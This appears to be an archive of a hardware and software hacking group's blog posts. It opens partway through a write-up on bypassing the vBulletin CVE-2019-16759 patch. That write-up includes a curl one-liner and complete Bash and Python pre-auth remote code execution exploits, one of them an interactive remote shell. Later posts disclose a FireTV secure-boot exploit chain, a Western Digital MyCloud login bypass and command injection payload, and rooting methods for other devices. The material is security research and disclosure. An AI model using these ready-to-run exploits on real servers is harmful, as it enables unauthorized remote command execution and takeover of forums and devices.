$final_rendered .= '' . '\r\n\r\n<div class="b-module' . vB5_Template_Runtime::vBVar($widgetConfig['show_at_breakpoints_css_classes']) . ' canvas-widget default-widget custom-html-widget" id="widget_' . $widgetinstanceid . '" data-widget-id="' . $widgetid . '" data-widget-instance-id="' . $widgetinstanceid . '">\r\n\r\n\t' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '\r\n\r\n\t<div class="widget-content">\r\n\t\t' . '';
 
if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
  $final_rendered .= '\r\n\t\t\t' . '' . '\r\n\t\t\t' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '\r\n\t\t';
} else {
  $final_rendered .= '\r\n\t\t\t' . '';
  if ($user['can_use_sitebuilder']) {
    $final_rendered .= '\r\n\t\t\t\t<span class="note">' . vB5_Template_Runtime::parsePhrase("click_edit_to_config_module") . '</span>\r\n\t\t\t';
  } else {
    $final_rendered .= '';
  }
  $final_rendered .= '' . '\r\n\t\t';
}
$final_rendered .= '' . '\r\n\t</div>\r\n</div>';

Then after being rendered, when the code is later pushed through the eval process, the other portion of its child templates are loaded and also ran through eval.

This type of system may seem innocuous to the untrained eye but the approach opens up a number of issues beyond just the insecure uses of an eval calls.

Regardless, here are a few ways this can fail.

  • Any non-filtered modifications to the output variable will open up the code for another code execution.
  • Constant filtering required of all template code for situations which can create non-escaped PHP.
  • XSS filtering nightmares
  • Included child code will have access to parent declared variables.

I cannot think of many situations where this would be the optimal approach. However, to keep this analysis to the point, I’ll focus on the issues leading to a bypass.

Bypassing CVE-2019-16759

The patch code mentioned in one of the previous sections above may seem thorough, but the approach is actually somewhat short sighted. Specifically, the patch faces issues when encountering a user controlled child template in that a parent template will be checked to verify that the routestring does not end with a widget_php route. However we are still prevented from providing a payload within the widgetConfig value because of code within the rendering process, which cleans the widgetConfig value prior to the templates execution. This problem is remedied for us because of a lucky solution manifesting in the following template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
		<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}
<div id="{vb:var panel_id}" class="h-clearfix js-show-on-tabs-create h-hide">
	<vb:comment>
	- {vb:var panel_id} 
	<vb:each from="subWidgets" value="subWidget">
	&nbsp;&nbsp;-- {vb:raw subWidget.template}
	</vb:each>
	</vb:comment>
 
	<vb:each from="subWidgets" value="subWidget">
		{vb:template {vb:raw subWidget.template}, 
			widgetConfig={vb:raw subWidget.config}, 
			widgetinstanceid={vb:raw subWidget.widgetinstanceid},
			widgettitle={vb:raw subWidget.title}, 
			tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules},
			product={vb:raw subWidget.product}
		}
	</vb:each>
 
 
</div>]]></template>

The template “widget_tabbedcontainer_tab_panel”, which is displayed above is a perfect assistant in bypassing the previous CVE-2019-16759 patch because of two key features.

  1. The templates ability to load a user controlled child template.
  2. The template loads the child template by taking a value from a separately named value and placing it into a variable named “widgetConfig”.

These two characteristics of the “widget_tabbedcontainer_tab_panel” template allow us to effectively bypass all filtering previously done to prevent CVE-2019-16759 from being exploited.

PoC

Because of the vulnerabilities simplicity, creating a one line command line exploit is as simple as the following.

1
curl -s http://EXAMPLE.COM/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'

Full Exploit(s)

Below is a list of a few full exploit payloads written in multiple different languages including Bash, Python and Ruby.

Bash Exploit

1
2
3
4
5
6
7
8
9
#!/bin/bash
#
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
#<br># Usage ./exploit <site> <shell-command><br>
# Urlencode cmd
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
 
# Send request
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'

Python Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex
 
import argparse
import requests
import sys
 
def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php',
                'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
                }
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
    return r.text
 
ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
ARGS = ap.parse_args()
 
while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))

Metasploit Module

We’re also in the process of pushing a public metasploit module to the metasploit-framework project, the pull request for which can be found here

Slides

I’ve also published slides: Exploiting vBulletin 5.6.2 – A Tale of a Patch Fail

A Short Term Fix

This fix will disable PHP widgets within your forums and may break some functionality but will keep you safe from attacks until a patch is released by vBulletin.

  1. Go to the vBulletin administrator control panel.
  2. Click “Settings” in the menu on the left, then “Options” in the dropdown.
  3. Choose “General Settings” and then click “Edit Settings”
  4. Look for “Disable PHP, Static HTML, and Ad Module rendering”, Set to “Yes”
  5. Click “Save”

Godspeed and Happy DEFCON Safe Mode


Rooting the FireTV Cube and Pendant with FireFU

Posted: October 31st, 2018 | Author: | Filed under: Uncategorized | 2 Comments »

Hello and happy Halloween fellow Exploitee.rs. Today we’re excited to be bringing you something we’ve been working on for the last few months. Today, we’re introducing you to FireFU. FireFU is an exploit chain we’ve created to allow users to unlock (and root) their FireTV Cube and FireTV Pendant.

FireFu Exploit Logo

WARNING

Exploitee.rs would like to remind users that any flashing of unofficial firmware or usage of provided tools is done at your own risk and will likely void your device’s warranty.  

DFU Mode

This exploit chain relies on two primitives, the first being a read/write primitive leveraged from the DFU mode accessible from the Amlogic S905Z SoC. DFU mode can be accessed on these devices by utilizing HDMI’s I2C bus and sending a specific string (“boot@USB”) to the device during boot. An adapter can be made which enters DFU by cutting open a HDMI cable or simply purchasing an HDMI header, then connecting to the appropriate I2C pins from the HDMI to the I2C pins on an Arduino or compatible board. We have provided an arduino “sketch” that can be compiled and loaded onto an arduino then used to perform the software side of entering DFU.

Arduino HDMI I2C

Upon accessing DFU mode, we are given access to read and write portions of the FireTV’s memory. Through this we target the hardware registers for the eMMC controller giving us the new primitive of being able to read and write to the device’s eMMC flash. However, due to both devices having secure boot enabled, we are unable to directly leverage the primitives we currently have to run unsigned code. We however did discover another vulnerability that we can use.

U-Boot Heap Overflow

In a secure boot environment, each portion of the boot process checks and sets up the following. From the SoC ROM all the way to the kernel and some cases even the kernel modules. In order to run unsigned code, a weakness needs to be found in some portion of the secure boots “chain of trust”. After a bit of research, we stumbled onto the perfect vulnerability we could leverage to break the chain. This vulnerability consisted of a heap overflow within U-Boot triggered when reading the RSV info within the devices partition table. This overflow can be seen in the code below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
436 /* get ptbl from rsv area from emmc */
437 static int get_ptbl_rsv(struct mmc *mmc, struct _iptbl *rsv)
438 {
439 struct ptbl_rsv * ptbl_rsv = NULL;
440 uchar * buffer = NULL;
441 ulong size, offset;
442 int checksum, version, ret = 0;
443 struct virtual_partition *vpart = aml_get_virtual_partition_by_name(MMC_TABLE_NAME);
444
445 size = (sizeof(struct ptbl_rsv) + 511) / 512 * 512;
446 if (vpart->size < size) { 447 apt_err("too much partitons\n"); 448 ret = -1; 449 goto _out; 450 } 451 buffer = malloc(size); 452 if (NULL == buffer) { 453 apt_err("no enough memory for ptbl rsv\n"); 454 ret = -2; 455 goto _out; 456 } 457 /* read it from emmc. */ 458 offset = _get_inherent_offset(MMC_RESERVED_NAME) + vpart->offset;
459 if (size != _mmc_rsv_read(mmc, offset, size, buffer)) {
460 apt_err("read ptbl from rsv failed\n");
461 ret = -3;
462 goto _out;
463 }
464
465 ptbl_rsv = (struct ptbl_rsv *) buffer;
466 apt_info("magic %s, version %s, checksum %x\n", ptbl_rsv->magic,
467 ptbl_rsv->version, ptbl_rsv->checksum);
468 /* fixme, check magic ?*/
469 if (strcmp(ptbl_rsv->magic, MMC_PARTITIONS_MAGIC)) {
470 apt_err("magic faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);
471 ret = -4;
472 goto _out;
473 }
474 /* check version*/
475 version = _get_version(ptbl_rsv->version);
476 if (version < 0) { 477 apt_err("version faild %s, %s\n", MMC_PARTITIONS_MAGIC, ptbl_rsv->magic);
478 ret = -5;
479 goto _out;
480 }
481 /* check sum */
482 checksum = _calc_iptbl_check(ptbl_rsv->partitions, ptbl_rsv->count, version);
483 if (checksum != ptbl_rsv->checksum) {
484 apt_err("checksum faild 0x%x, 0x%x\n", ptbl_rsv->checksum, checksum);
485 ret = -6;
486 goto _out;
487 }
488
489 rsv->count = ptbl_rsv->count;
490 memcpy(rsv->partitions, ptbl_rsv->partitions, rsv->count * sizeof(struct partitions));
491
492 _out:
493 if (buffer)
494 free (buffer);
495 return ret;
496 }

Specifically, by providing a high enough value to the number of entries in the RSV table (rsv->count on line 490), we are able to overflow the heap allocation and obtain a new write primitive. Through this primitive (and all within the exploit’s payload) we modify values in memory for U-Boot tricking the device into believing it is unlocked and disabling all signature verification. Due to the exploit being ran during each boot, the U-Boot code needs to only be patched in memory. However, because the exploit is now being stored in the original RSV location in flash, we must move the old RSV values to a new area and fixup any addresses pointing to the previous location. After a reboot and successful exploitation, the Fire TV device will be able to run unsigned code.

Fastboot

To simplify flashing of new images, we’ve chosen to use flashboot to flash a new recovery and boot.img to the device, this new recovery only provides the fixups needed to point to the new RSV location. The boot.img however includes “magisk”, a popular android root application, to facilitate providing the user root access to the device.

Technical Details & Instructions

Technical details for the exploit chain is available on our wiki as well as usage instructions, source code, and information on needed hardware/tools.

FireFu Exploit Flow Chart

Video Demo


 
 

Exploitee.rs Wiki – FireFU Exploit

 

Hack The Planet

-Exploitee.rs


All Your Things Are Belong To Us

Posted: August 18th, 2017 | Author: | Filed under: Uncategorized | Comments Off on All Your Things Are Belong To Us

We’re back from Vegas and it’s time to reflect. This year in Las Vegas, we were given the opportunity to present our research at both BlackHat USA 2017 and DEFCON 25. At BlackHat, we presented on reverse engineering embedded devices with eMMC flash in our talk, “Hacking Hardware With A $10 SDCard Reader.” At DEFCON, we came back and did a remake of one of our most popular presentations (“Hack All The Things“) with, “All Your Things Are Belong To Us.” The experience was amazing and we’re grateful to both conferences for letting us come out and present to you all. This blog post will be a summary of everything we revealed from both conferences and will hopefully guide visitors around all of the new stuff we’ve posted.

At BlackHat, our presentation was geared toward giving attendees a strategy for attacking devices with eMMC flash storage. In this presentation we showed attendees how to identify eMMC pinouts as well as tips on how to connect to an eMMC flash with a standard SD card reader and as few as 4 wires. If you’re interested in checking out the research, you can find the slides on our wiki along with our white-paper on the subject.

At DEFCON, our “All Your Things Are Belong To Us” presentation showcased exploits for a variety of new embedded devices. Below is a list with the corresponding new wiki pages for the new material we’ve added.

AOBO Hidden Spy Camera 720PMUZO Cobblestone
Aluratek WiFi RadioNetgear WN3000RP
Amazon TapQNAP Turbostation
Belkin N300Samsung SDR-3102N
Chromecast (Gen 1)Samsung SL-M3320ND
CujoTenvis T8810
D-Link DCS-936LVeraEdge-US Smart Home Controller
GGMM E3 Smart SpeakerVizio P602UI
LG BPM350Vudu Spark
Linksys WRT1200ACWD MyCloud
Lutron L-BDG2-WH Caseta Smart BridgeZmodo Greet (ZH-CJAED)

We dropped a lot of vulnerabilities on the audience at DEFCON, but a few of the highlights include bugs such as the remote root vulnerability we found within the QNAP NAS devices. This vulnerability affects a network transcoding service and allows for command injection as the root user. Then, there are the two vulnerabilities we found within the Western Digital MyCloud series of devices, a series of devices we’ve released multiple bugs for in the past; these pre-auth bugs both allow for remote code execution. The first one has the primitive of being able to write a file anywhere on disk, allowing us to write a PHP shell to the device for remote code execution as root. The other vulnerability is an authentication bypass which can be paired with any of our previously released (and unfixed) post authentication bugs for remote code execution as root. Beyond just the 3 NAS bugs, we’ve documented multiple hardware (UART/eMMC) roots, USB roots, and even a pre-auth root vulnerability affecting an SDK used in dozens of products.

You can find the slides for “All Your Things Are Belong To Us” and all of our previous presentations on the front page of our wiki (or HERE)

Finally, at DEFCON and BlackHat, attendees of our presentations received some new hardware we recently created. Particularly, they received our new SD & Micro SD Breakout boards which can be used with SD card readers to read 3.3v logic eMMC flash storage devices. These new boards will be available for sale in our online store soon and will be given away with orders from our online store (1 with every order).

If you attended either of our presentations, we’d like to say thank you for coming out and we hope you enjoyed getting to hear our latest round of research. If you didn’t, we hope you’ll check out our videos or slides. We love getting to spend time with the community and we hope we inspire you to “Hack Everything.”

Hacking Hardware With A $10 SDCard Reader:

All Your Things Are Belong To Us:

-Exploitee.rs


Hacking the Western Digital MyCloud NAS

Posted: March 4th, 2017 | Author: | Filed under: NAS, Western Digital | 16 Comments »

Sometimes at Exploitee.rs, we look for fun devices to hack and sometimes the devices find us. Today we’re going to talk about a recent time where we found ourselves in the latter situation and our experience with the Western Digital series of Networked Attached Storage devices.

In the middle of last year I (Zenofex) began looking for a NAS that provided hardware decoding through my currently prefered media player, Plex. After a bit of research I ordered a Western Digital “MyCloud” PR4100. This device met all the requirements of what I was looking for and came highly recommended by a friend. After adding the NAS to my network and visiting the device’s admin page for the first time, I grew weary of adding a new device to my network without giving it a proper audit. So, I logged in, enabled SSH access, and looked at how the web server functionality of the device worked.

Login Bypass

I quickly found the first bug that shocked me, this bug was based on code that performed a user login check but did so using cookies or PHP session variables. Using cookies for authentication isn’t necessarily a bad thing, but the way that the Western Digital MyCloud interface uses them is the problem. Examine the code below.

/lib/login_checker.php

function login_check()
{
        $ret = 0;
        if (isset($_SESSION['username']))
        {
                if (isset($_SESSION['username']) && $_SESSION['username'] != "")
                $ret = 2; //login, normal user

                if ($_SESSION['isAdmin'] == 1)
                        $ret = 1; //login, admin
        }
        else if (isset($_COOKIE['username']))
        {
                if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
                $ret = 2; //login, normal user

                if ($_COOKIE['isAdmin'] == 1)
                        $ret = 1; //login, admin
        }
        return $ret;
}

The above code contains a function called “login_check”, this function is used by all of the backend PHP scripts and is used to verify pre-authenticated users. The above code has two paths, one which involves checking the session values for “username” and “isAdmin” and another (if the prior fails) attempts to complete the same process but with cookies. Because cookies are supplied by the user, the requirements that the scripts are looking for can be met by the attacker. The above process for sessions and cookies is summed up as follows.

    “username” variable is set and is not empty – User is logged in as a normal privileged user.
    “isAdmin” variable is set to 1 – User is logged in as an administrator.

This means that any time there is a login check within the PHP scripts, an attacker is able to bypass the check by supplying 2 specially crafted cookie values.

During the process of writing up my findings a new firmware was rolled out patching the above bug. However, this patch introduced a new vulnerability which had the same consequences as the original (prior to the update). Below is the current version including the fixed code.

/var/www/web/lib/login_checker.php

 20 function login_check()
 21 {
 22         $ret = 0;
 23 
 24         if (isset($_SESSION['username']))
 25         {
 26                 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
 27                 $ret = 2; //login, normal user
 28 
 29                 if ($_SESSION['isAdmin'] == 1)
 30                         $ret = 1; //login, admin
 31         }
 32         else if (isset($_COOKIE['username']))
 33         {
 34                 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
 35                 $ret = 2; //login, normal user
 36 
 37                 if ($_COOKIE['isAdmin'] == 1)
 38                         $ret = 1; //login, admin
 39 
 40                 if (wto_check($_COOKIE['username']) === 0) //wto check fail
 41                         $ret = 0;
 42         }
 43 
 44         return $ret;
 45 }
 46 ?>

In the updated version of the code, a call to the new method “wto_check()” is made (line 40). This function runs a binary on the device with the client supplied username as an argument along with the user’s IP address. If the user is currently logged in and hasn’t timed out the value 1 is returned, otherwise 0 is returned (indicating the user isn’t logged in). The code for the “wto_check()” method can be found below.

/var/www/web/lib/login_checker.php

  3 /*
  4   return value: 1: Login, 0: No login
  5 */
  6 function wto_check($username)
  7 {
  8         if (empty($username))
  9                 return 0;
 10 
 11         exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
 12         if ($login_status[0] === "WTO CHECK OK")
 13                 return 1;
 14         else
 15                 return 0;
 16 }
 17 
 18 /* ret: 0: no login, 1: login, admin, 2: login, normal user */
 19 

In the above you can see that on line 11 the command is formatted to include the username and IP address as arguments to the “wto” binary. The problem with the above is the incorrect use of the PHP method “escapeshellcmd()” which, in its intended usage, handles an entire command string, and not just an argument. This is because the “escapeshellcmd()” function does not escape quotes and therefore allows an attacker the ability to break out of the encapsulating quotes (in our case for the “-n” argument), allowing for new arguments to be supplied to the binary. Because of this, instead of actually checking if the user is logged in, we can add new arguments and log the user in ourselves. Although we do not believe simply verifying that the user is already logged in by checking an IP address and login timeout is sufficient. The programmer who wrote this code should have used “escapeshellarg()”, which is intended to filter independent binary arguments and which does filter out quotes. Using “escapeshellarg()” as opposed to the currently used “escapeshellcmd()” would have at least prevented this attack from working.

Command Injection Bugs

A majority of the functionality of the WDCloud web interface is actually handled by CGI scripts on the device. Most of the binaries use the same pattern, they obtain post/get/cookie values from the request, and then use the values within PHP calls to execute shell commands. In most cases, these commands will use the user supplied data with little or no sanitization. For example, consider the following code from the device.

php/users.php

 15 $username = $_COOKIE['username'];
 16 exec("wto -n \"$username\" -g", $ret);

The code above assigns a value from the COOKIE superglobal variable, which contains array indexes for cookies submitted from the request, to the local variable “$username”. This value is then immediately used in a PHP “exec()” call as an argument to the local “wto” binary. Since there is no sanitization, using a username value like

username=$(touch /tmp/1)

turns the existing exec command into

wto -n "$(touch /tmp/1)" -g

and executes the user supplied command within.

Because the argument is encapsulated with double quotes and we use the “$(COMMANDHERE)” syntax, the command “touch /tmp/1” is executed prior to the execution of the “wto” binary and the return value of which is used as its “-n” argument. This basic pattern resulting in a command injection vulnerability is used multiple times within the many scripts used by the web interface. While some may have normally been prevented by authentication being required, that restriction is overcome by the authentication bypass mentioned above. Also, it is important to note that all commands executed through the web interface are done so as the user the web-server is running as, which, in this case is root.

Other Errata

While you may think that the above bugs are severe, there are a number of other errors within the web interface with some being as simple as the normal authentication being commented out:

addons/ftp_download.php

  6 //include ("../lib/login_checker.php");
  7 //
  8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
  9 //if (login_check() == 0)
 10 //{
 11 //      echo json_encode($r);
 12 //      exit;
 13 //}

And others being more functionality specific, like the following example of a bug allowing a non-authenticated user the ability to upload files onto the myCloud device.

addons/upload.php

  2 //if(!isset($_REQUEST['name'])) throw new Exception('Name required');
  3 //if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
  4 //
  5 //if(!isset($_REQUEST['index'])) throw new Exception('Index required');
  6 //if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
  7 //
  8 //if(!isset($_FILES['file'])) throw new Exception('Upload required');
  9 //if($_FILES['file']['error'] != 0) throw new Exception('Upload error');
 10 
 11 $path = str_replace('//','/',$_REQUEST['folder']);
 12 $filename = str_replace('\\','',$_REQUEST['name']);
 13 $target =  $path . $filename . '-' . $_REQUEST['index'];
 14 
 15 //$target =  $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];
 16 
 17 move_uploaded_file($_FILES['file']['tmp_name'], $target);
 18 
 19 
 20 //$handle = fopen("/tmp/debug.txt", "w+");
 21 //fwrite($handle, $_FILES['file']['tmp_name']);
 22 //fwrite($handle, "\n");
 23 //fwrite($handle, $target);
 24 //fclose($handle);
 25 
 26 // Might execute too quickly.
 27 sleep(1);

The above code consists of no checks for authentication and, when called will simply retrieve the uploaded file contents and use the user supplied path to determine where to place the new file.

Beyond the bugs listed in this blog post, our wiki is full of bugs we’ve found within the MyCloud web interface. Our general goal at Exploitee.rs is to get bugs fixed as quickly as possible. However, the large number of severe findings means that we may need to re-evaluate the product after the vendor has properly fixed the released vulnerabilities.

Responsible Disclosure

At Exploitee.rs, we normally attempt to work with vendors to ensure that vulnerabilities are properly released. However, after visiting the Pwnie Awards at the last BlackHat Vegas, we learned of the vendor’s reputation within the community. In particular, this vendor won a “Pwnie for Lamest Vendor Response” in a situation where the vendor ignored the severity of a set of bugs reported to them. Ignoring these bugs would leave the vulnerable devices online for longer periods while responsible disclosure is worked out. Instead we’re attempting to alert the community of the flaws and hoping that users remove their devices from any public facing portions of their networks, limiting access wherever possible. Through this process, we’re fully disclosing all of our research and hoping that this expedites the patches to users’ devices.

 

Bugs Found Statistics

1 x Login Bypass
1 x Arbitrary File Write
13 x Unauthenticated Remote Command Execution Bugs
70 x Authentication Required Command Execution Bugs*

*”Authentication Required” bugs can be reached with the login bypass bug.

Scope

Most, if not all, of the research can be applied to the entire series of Western Digital MyCloud products. This includes the following devices:

  • My Cloud
  • My Cloud Gen 2
  • My Cloud Mirror
  • My Cloud PR2100
  • My Cloud PR4100
  • My Cloud EX2 Ultra
  • My Cloud EX2
  • My Cloud EX4
  • My Cloud EX2100
  • My Cloud EX4100
  • My Cloud DL2100
  • My Cloud DL4100

More Info

For the complete listing and a small write-up on each of the bugs found during our Western Digital MyCloud research, visit the Exploitee.rs Wiki.

For updates on Western Digital’s response or alerts when new content is added to our wiki or blog follow us on twitter @Exploiteers

Video Demo

-Exploitee.rs


Re-Hacking The Samsung Smartcam

Posted: January 14th, 2017 | Author: | Filed under: Uncategorized | 1 Comment »

Today we’re re-visiting a device that we’ve hacked in a previous session. At DEFCON 22, we released exploits for the Samsung Smartcam network camera in our “Hack All The things” presentation. These exploits allowed for remote command execution and the ability to arbitrarily change the camera’s administrator password. After being alerted to the vulnerabilities, Samsung reacted by removing the entire locally accessible web interface and requiring users to use the Samsung SmartCloud website. This angered a number of users [Example 1, Example 2] and crippled the device from being used in any DIY monitoring solutions. So, we decided to audit the device once more to see if there is a way we can give users back access to their cameras while at the same time verifying the security of the devices new firmware.

Web Interface

When a user visits the updated web interface on the Samsung Smartcam, they are now greeted with a “404 – Not Found” message. The interface previously in place, which allowed for users to view and configure their camera, is now completely removed with only backend scripts left. Seemingly all vulnerabilities found by us as well as those found by others are patched. There was however one set of scripts that were not removed or modified, the php files which provide firmware update abilities for the camera through its “iWatch” webcam monitoring service were left untouched. These scripts contain a command injection bug that can be leveraged for root remote command execution to an unprivileged user.

iWatch Install.php Root Command Execution

The iWatch Install.php vulnerability can be exploited by crafting a special filename which is then stored within a tar command passed to a php system() call. Because the web-server runs as root, the filename is user supplied, and the input is used without sanitization, we are able to inject our own commands within to achieve root remote command execution. You can find the technical writeup and fix for the vulnerability as well as instructions for re-enabling the Smartcams’s web administration panel on our wiki along with a video demonstration below.

Video:

-Exploitee.rs
Hack Everything


Gaining Root On The Google OnHub

Posted: October 8th, 2015 | Author: | Filed under: Routers | 4 Comments »

Google_OnHubToday we’re releasing the method that we’ve reversed engineered on how to get root and modify the firmware on a Google OnHub. This process involves booting of the OnHub into the “Developer Mode”, loading of an image from a USB disk, and also provides the ability to modify and resign a modified image with development keys. This method was reverse engineered based on an in depth look and dump of the hardware along with a disassembly of the Android app and Google OnHub USB Recovery Chrome extension. Below we’ll talk about the process and our findings in depth.

Our initial look at the Google OnHub was the iFixIt teardown, the device contains multiple radios (including the currently unused Zigbee radio) as well as a speaker and a plethora of antennas. The pieces that caught our eye however, were the eMMC and SPI flash ICs on the board. Based on our previous experience looking at devices, we knew that with our low voltage eMMC adapters as well as a Raspberry Pi (or Bus Pirate), we had an easy and quick way to dump both flash devices. Unfortunately, at that time we did not have access to a Google OnHub, so we were stuck having to work with what we had available.

At this point our sights were aimed at the Google OnHub Android App and Recovery USB Chrome extension with the main intention being to find the firmware update URL. After a short search we found this url which contained a URL to a recovery image of the eMMC flash. This was our first real look into the firmware running on the device.

Google OnHub eMMC RemovedWe finally acquired a Google OnHub and went right into tearing it apart. We took the device apart and then proceeded to remove and dump the SPI flash first. For this we used a Raspberry Pi along with flashrom. After dumping and a quick look, we found that the SPI flash stored the BIOS data. We proceeded to dump the eMMC, and compare to what we found within the recovery image. We determined that the images highly resembled that of the Google Chromebook, and that the OnHub was a very close match in architecture. We spent the next day going over the dumps in depth and determining our attack plan.

Our initial attack plan involved a page we found on the feasibility of hacking the Google Chromebook. This page stated that the attacks that could not be protected by the secure boot setup used by ChromeOS were those that involved physical access and re-flashing of the BIOS. So, our initial attempts were of just that, we attempted to re-flash the SPI flash but were crippled by not having a valid method of receiving debug output while booting modified images.

OnHub_Hidden_SwitchAfter subsequent attempts we re-thought our game plan and looked deeper at the hardware that was packaged within the OnHub in comparison to the Google Chromebook. This is where we found the usage of a “hidden” switch that is contained on the bottom plate of the Google OnHub but is hidden by a screw. We would soon determine that this switch enables the ability of booting into the device’s Developer Mode but requires a special key sequence first. We began to comb through more ChromiumOS docs until we found “CTRL+D”. Hitting Ctrl+D prior to pressing the Developer Mode switch, switches the device into Developer Mode. After further research into the Chromebook and examining the USB image created by the OnHub Recovery USB Image Creator Chrome Extension we crafted a USB and attempted to boot the USB device. At this point we had our first major breakthrough and had the device booting a USB image. The rest was easy and entailed exploring the device teamed with reading more ChromiumOS docs, this helped form the rest of the root process which can be found on our wiki.

TLDR, The Google OnHub is at heart a Chromebook without a screen modified as a router, and our root method is just a modified version of booting Developer Mode.

Technical details of the Google OnHub visit: Exploitee.rs Wiki – Google OnHub

Root procedure can be found at: Exploitee.rs Wiki – Rooting The Google OnHub

 

Video:


In support of the legality of rooting

Posted: February 9th, 2015 | Author: | Filed under: Uncategorized | Comments Off on In support of the legality of rooting

As the Exploiteers, we believe in both open software and open hardware. We’ve worked tirelessly to come up with roots for all sorts of devices, and software modifications to make these rooted devices more awesome.

We are convinced that this is a good thing, and to ensure that we (and others) can continue to do awesome hacks, we are participating in the political process to ensure full control of your devices is legal in the United States.

One of the more pesky laws governing digital devices and their security is the Digital Millenium Copyright Act. It criminalizes breaking electronic locks for copyrighted works – which might include things such as the firmware update mechanism for your smart TV. The authors of the law recognized that there are reasons to circumvent digital locks that aren’t copyright infringement, and made an exemption process to formally recognize valid reasons to circumvent these locks. The exemption process happens every three years, with the US Copyright Office evaluating proposed exemptions. One of the newly proposed exemptions (by the Software Freedom Conservancy) this year is “Jailbreaking—Smart TVs”, which is a category we have a lot of experience with.

As a group of people who encounter these kind of locks every day, we submitted a comment through the comment process to advocate for formally stating that jailbreaking / rooting of smart TVs and streaming media players is legal in the US. We strongly support all of our users watching the content they want and running the apps they choose on whatever device they may own.

View the comment we submitted below, or as a PDF!

Read the rest of this entry »


A New Year With (The) Exploitee.rs

Posted: December 31st, 2014 | Author: | Filed under: Uncategorized | Tags: , | 1 Comment »

When GTVHacker started, we were a group of researchers who met on a popular Android developer forum and simply wanted more from our newly purchased and heavily fortified Logitech Revue Google TV devices. We would have never thought that our simple goal of utilizing our hardware would turn into GTVHacker. We moved to an IRC (Internet Relay Chat) channel and began researching how our devices worked and how we could make them better. This eventually turned into an obsession until we released our first root exploit for the Revue. Flash forward 4 years to today, and the irony of the situation is that we (as a group named “GTVHacker”) have released exploits for 40+ devices, and only 1/3 of them have been for the Google TV platform. Within the same time period Google itself has ditched the Google TV name in place for “Android TV” guaranteeing an experience more in line with that of its Android mobile devices.

So we as a group have decided it’s finally time to retire the name “GTVHacker” and transition into our new form as (the) “Exploiteers”. Over the next few days we will be transitioning all of the rest of the content from the GTVHacker network on to Exploitee.rs.  We will be changing site logos and themes but the archived content will stay the same. If you happen to notice something that’s not working right, feel free to contact us at [email protected] to let us know.

In the mean time, here are a few things to look forward to from the Exploitee.rs

  • New exploits!
  • New custom hardware!
  • A new storefront to sell our custom hardware (and other future items).

TLDR, We’re now the Exploitee.rs and we’re hacking more than ever before!

Happy New Year!

GTVHacker

Exploitee.rs